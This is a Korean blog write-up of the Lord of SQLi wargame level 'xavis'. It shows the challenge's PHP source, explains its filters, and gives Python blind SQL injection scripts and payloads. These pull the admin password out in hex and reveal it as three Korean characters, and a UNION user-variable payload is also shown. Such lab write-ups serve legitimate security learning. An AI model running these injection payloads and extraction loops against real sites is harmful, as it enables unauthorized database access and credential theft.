R136A1

[LOS] 19. xavis :: blind SI 본문

WEB SECURITY/SQL Injection

[LOS] 19. xavis :: blind SI

r136a1x27 2021. 9. 24. 08:02
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

제약사항

pw파라미터에 regex, like를 대소문자 상관없이 사용할 수 없다.

두번째 파트에서는 pw파라미터에 addslashes 작업을 추가한다.

 

풀이조건

쿼리의 result에 pw값이 있고, 그 값이 입력한 pw와 일치할 경우

ㄴadmin pw를 완벽히 찾아내야 한다. & 첫번째 파트에서는 값이 있기만 하면 출력한다 → blind SI

 

쿼리

select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'

 

풀이

1. 길이 구하기

select id from prob_xavis where id='admin' and pw='' or id = 'admin' and length(pw) = {len} %23'

와 같이 python 코드를 돌리면 12가 나온다. (코드 생략)

 

2. 패스워드 구하기

아래 코드를 돌렸으나, exploit이 되지 않는다

(첫번째 자리를 못찾으면 그냥 끝난 거임..)

 

# --------GET PASSWORD---------#
pw=""
letters = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
           'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
           'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']

for i in range(1, 13):  # pw의 길이만큼 반복 1부터 len까지
    for j in letters:  # 0-9, a-z, A-Z까지의 ASCII코드 - 문자열 넣어줘도 한 글자씩 들어감 abcd...
    				   # ord('0'), ord('z')로 넣어줘도 동일함
        query = f"?pw=' or id = \"admin\" and ord(mid(pw, {i}, 1)) = {j} %23"
        print(query)
        res = requests.get(url + query, cookies=cookies, headers=headers)
        # print(res.raise_for_status)

        if res.text.find('Hello admin') != -1:
            pw += chr(j)
            print(f"[*] Finding... : {pw}")
            break

print(f"[+] Found Password : {pw}")

 

끝까지 돌린 결과, 위와 같은 기이한 결과를 얻을 수 있지만 당연히 답은 아니다.

12글자인데 1 2 3번째까지는 답을 못찾고, 그 뒤는 계속 0이다.

_ _ _ 0 0 0 0 0 0 0 0 0 이다.


그 이유인 즉슨, 일반적인 패스워드의 문자(현재 letters리스트에 포함된 0-9 a-z A-Z)가 아닌, 특수문자가 쓰인 것이다.

보통의 ASCII 코드 전체(128개)를 돌려서 찾아진다면 다행이지만, 그렇지 않은 경우가 있다.

예를 들면 확장ASCII(256개)를 사용한다거나, 한글, 중국어, 일본어와 같이 UNICODE(UTF)를 사용하는 경우이다.

이 경우에는, 구하고자 하는 값을 hex 형태로 찾아서 디코딩해줘야 한다.

 

▶인코딩 개념 정리... https://r136a1x27.tistory.com/320

 

어떤 인코딩이 사용되었는지 살펴보려면 각 문자의 바이트 수를 확인해보면 된다.

' or id='admin' and length(substr(pw,1,1))='4 를 통해서 pw첫글자가 ascii(1byte)가 아닌 4byte임을 확인할 수 있다.

또 새로운 개념. length()는 byte 길이를 가져온다!!

그렇다면 처음에 구한 12라는 값도 byte였을 것이다. (=12byte)

 

일반적인 ASCII코드는 1byte지만 UTF 중 UTF-8는 언어에 따라 4byte까지 확장될 수 있다.

 

더 확실하게 확인하려면 https://btr95.tistory.com/entry/LOS-xavis

' or id='admin' and length(substr(pw,1~12,1))='4 까지 하나하나 시도해가며, 

각 자리가 전부 4인지 1이나 2로 줄어들지는 않는지 확인하면 된다 (가변일 경우 UTF-8이 확실하니까)

 

이처럼 UTF-8을 확신했다면, 아래로 pw를 찾아내면 된다.

 

' or id='admin' and ord(substr(pw,1~12,1))='{UTF에 해당하는 모든 숫자} 를 통해서 pw를 언젠가는 찾을 수 있다

하지만 UTF-8은 최대 4byte이고, 그럼 한 글자를 구할 때 마다 100만번이 넘는 쿼리를 보내야 한다.

 

서버의 과부하를 방지하기 위해 ASCII가 아닌 코드의 경우 hex값으로 변환하여 16진수 형태로 찾는 것이 일반적이다.

(진수변환은 서버의 제약이 심한 곳에서 exploit할 때, ASCII에서도 유용히 쓰인다. https://velog.io/@ikki/LoS-Xavis

길이 10이면 790번 요청인데 이진수를 활용하면 8bit*길이10*2, 160번 요청만 보내면 된다)

 

+또한, 여기서 ascii가 아닌 ord 함수를 사용해야 할 때를 알 수 있다

ascii는 1byte만을 읽기 때문에 ord 함수만 사용할 수 있다.

ord함수는 2byte 이상으로 이루어진 문자에 대해서도 비트연산을 통해 값을 가져올 수 있다.


그럼 다시, blind Injection을 수행하기 위해 1. 패스워드 길이 찾기 부터 다시 시작한다.

' or id='admin' and length(hex(pw))='{length}  를 통해서 pw를 hex로 변환했을 때 길이를 확인해야 한다.

2. 패스워드 찾기

' or id='admin' and substr(hex(pw),{길이},1)='{0~F}' %23

# --------GET PASSWORD---------#
pw=""
hex_ = [0,1,2,3,4,5,6,7,8,9,'A','B','C','D','E','F']
for i in range(1, 25):  # pw의 길이만큼 반복 1부터 len까지
    for j in hex_:  # 0-9, a-z, A-Z까지의 ASCII코드 - 문자열 넣어줘도 한 글자씩 들어감 abcd...
        query = f"?pw=' or id='admin' and substr(hex(pw),{i},1)='{j}' %23"
        res = requests.get(url + query, cookies=cookies, headers=headers)

        if res.text.find('Hello admin') != -1:
            pw += str(j)
            print(f"[*] Finding... : {pw}")
            break

print(f"[+] Found Password : {pw}")

24Byte이고, ' or id='admin' and length(substr(pw,1~3,1))='4, 했을 때 모두 참이었으므로 4byte씩 끊는다.

0000C6B0 우

0000C655 왕

0000AD73 굳

1) print(chr(0x0000C6B0)) 하면 python code 설정에 따라 자동으로 UTF-8로 변환되어 출력된다.

(code 설정에 의해 모든 출력되는 값을 해당 인코딩 설정으로 출력하므로...)

2) https://unicode-table.com/kr/ 에서 하나씩 찾기

 

+위에서 length가 12였는데, 왜 3글자 까지만 쓰일까?

실제로 ' or id='admin' and length(substr(pw,4~12,1))='1, 를 확인해보면, 전부 1이고

그 전 테스트에서 _ _ _ 0 0 0 0 0 0 0 0 0  이 나왔으므로, 

4~12는 유의미한 문자가 아닌 NULL값임을 알 수 있다.

그리고 문자열은 NULL까지만 인식되므로, 3글자 까지만 인식되는 것이다.

 

+ binary로 찾기

 or id=admin and substr(lpad(bin(ord(substr(pw,{길이1~24},1))),{바이트당비트=16},0),{바이트당비트순회=0~16},1)=1#

 

 


 

+구버전?에는 pw길이가 40으로, 확장ASCII(8bit, 256개)를 활용하여 풀어야 했다.

https://security04.tistory.com/166

https://cgy12306.tistory.com/113

https://qhrhksgkazz.tistory.com/202

https://sinb57.tistory.com/entry/los-19-xavis 


https://g-idler.tistory.com/62

mysql 사용자 정의 변수를 이용한 풀이

SELECT @a:=칼럼 WHERE 조건 FROM 테이블

: 테이블에서 조건을 만족하는 칼럼의 값을 @a에 넣어라

 

SELECT pw FROM prob_xavis WHERE id='admin' and pw='' or (SELECT @a:=pw WHERE id='admin')

union ② SELECT @a #

: id='admin' 조건을 만족하는 pw칼럼의 값을 @a에 넣어라

(이 때, 변수 대입문 자체는 FALSE이기 때문에 아무런 값도 조회되지 않음)

union  = 쿼리와 쿼리의 조회 결과를 합쳐서 출력해준다

② SELECT @a로, pw WHERE id='admin' 이 조회된 결과가 출력된다.

 

Hello {result['id']} 를 출력하는데....왜 pw가 그대로 보이는지는 의문이다.

 

 

'WEB SECURITY > SQL Injection' 카테고리의 다른 글

[LOS] 21. iron_golem :: Error based blind SI  (0) 2022.02.03
[LOS] 20. dragon :: SI  (0) 2021.09.26
[LOS] 18. nightmare :: SI  (0) 2021.09.23
[LOS] 17. zombie_assassin :: SI  (0) 2021.09.19
[LOS] 16. succubus :: SI  (0) 2021.09.19
Comments